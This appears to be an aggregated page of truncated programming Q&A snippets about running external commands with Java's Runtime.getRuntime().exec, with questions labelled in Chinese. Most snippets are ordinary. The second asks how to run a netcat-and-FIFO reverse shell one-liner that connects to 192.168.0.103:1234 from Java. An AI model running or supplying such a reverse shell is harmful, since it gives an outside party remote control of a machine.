runtime.exec

问题 The following works fine when i type it in directly into cmd.exe : netsh wlan connect name="Profile Name" ssid=XXXXXX However when i try to do this from java it does not work, neither does it throw any exception. It is silently ignored: Runtime.getRuntime().exec("cmd netsh wlan connect name=\"Profile Name\" ssid=XXXXX ") ; ` How can i improve the code ? 回答1: First try removing the cmd parameter (you don't need to run this interpreter, just netsh ). Else it may be due to whitespace characters

问题 I need to run the following command from inside the Runtime.getRuntime().exec(): rm /tmp/backpipe; mkfifo /tmp/backpipe && /bin/sh 0</tmp/backpipe | nc 192.168.0.103 1234 1>/tmp/backpipe In what format should I pass it to my running java program that has the line : Process localProcess = Runtime.getRuntime().exec(myStr); where myStr is the entire command above that I want to execute ? Things I have already tried : [\"/bin/bash\",\"-c\",\"rm /tmp/backpipe;/usr/bin/mkfifo /tmp/backpipe && /bin

问题 Is it possible to run command line on a remote machine (not on the server machine where the application is hosted). I understand Runtime.getRuntime().exec(".."); will try to run the script on the server machine. Is my understanding correct and is there a way to achieve what I need? 回答1: Runtime.getRuntime().exec launches a process on the local machine, not a remote one. Wether that process represents a command line interface or not will be determined by the executable that's run, and the

问题 I would like to launch some external java class or jar from my project. But i'd like to use the Bo class from my web app project. I'd like to load them in my main class but i get some weird error. I run a clean install to get a .war and a .jar with maven. Until that everything works fine. To get the .jar with dependencies i use : <plugin> <artifactId>maven-assembly-plugin</artifactId> <configuration> <archive> <manifest> <mainClass>com.clb.genomic.lyon.external.MainExternal</mainClass> <

问题 I'm writing a program in Java that sends commands to a C program and reads its output, but I see that it hangs when I try to actually read the output. The code is: import java.io.*; public class EsecutoreC { private String prg; OutputStream stdin=null; InputStream stderr=null; InputStream stdout=null; BufferedReader br; Process pr; public EsecutoreC(String p){ prg=p; try { pr=Runtime.getRuntime().exec(prg); stdin=pr.getOutputStream(); stderr=pr.getErrorStream(); stdout=pr.getInputStream(); br

问题 my very first post here after long time of searching but yet get an answer regarding this issue, please help me in this issue. I am using Netbean 6.9.1 to build a Java application which massive call to few different external program, therefore I used process and runtime function to call for external program. The whole application process is separated into few stages and I wish to inform the user till which stage the application is currently running by updating the GUI textarea, the code is

问题 I have Groovy Maven2 test project with TestNG and Surefire plugin enabled. I want to launch external process (*.cmd file which start some *.exe file) in last test method, finish my tests and left process running after tests. I tried the following codes to do it: 1 attempt def builder = new ProcessBuilder('cmd','/c <name>.cmd') builder.directory( ( new File( <path_to_working_directory> ) ) ) builder.start() 2 attempt (with and without start cmd option) Runtime.getRuntime().exec( "cmd /c start

问题 I have the following class : After compiling my CreateTexts.java class, I want to run it via getRuntime (calling it through Eclipse ). So I run this class public class RuntimeDemo { public static void main(String[] args) { try { // create a new array of 2 strings String[] cmdArray = new String[2]; // first argument is the program we want to open //C:\Program Files\Java\jdk1.6.0_20\bin cmdArray[0] = "C://Program Files//Java//jdk1.6.0_20//bin//java"; // second argument is a txt file we want to

问题 I am trying to dump a MySQL database within my Java application the following way: String[] command = new String[] {"cmd.exe", "/c", "C:/mysql/mysqldump.exe" --quick --lock-tables --user=\"root\" --password=\"mypwd\" mydatabase > \"C:/mydump.sql\""}; Process process = Runtime.getRuntime().exec(command); int exitcode = process.waitFor(); The process fails with exit-code 6. I somewhere read that the operand ">" is not correctly interpreted and there was the hint to use "cmd.exe /c" as prefix.

问题 I am trying to execute windows commands from Java using the following code, Process p=Runtime.getRuntime().exec("wget www.anyurl.com/index.html); and it works but when I try to execute another command which is as follows, Process p1=Runtime.getRuntime().exec("pscp -pw sysadmin c:/mydirectory/mypage.html mahesh@vmstni01:/home/usr"); it does not seem to work. If I comment out the first process line (ie Process p) then the process p1 is working fine, it executes and shows that file has been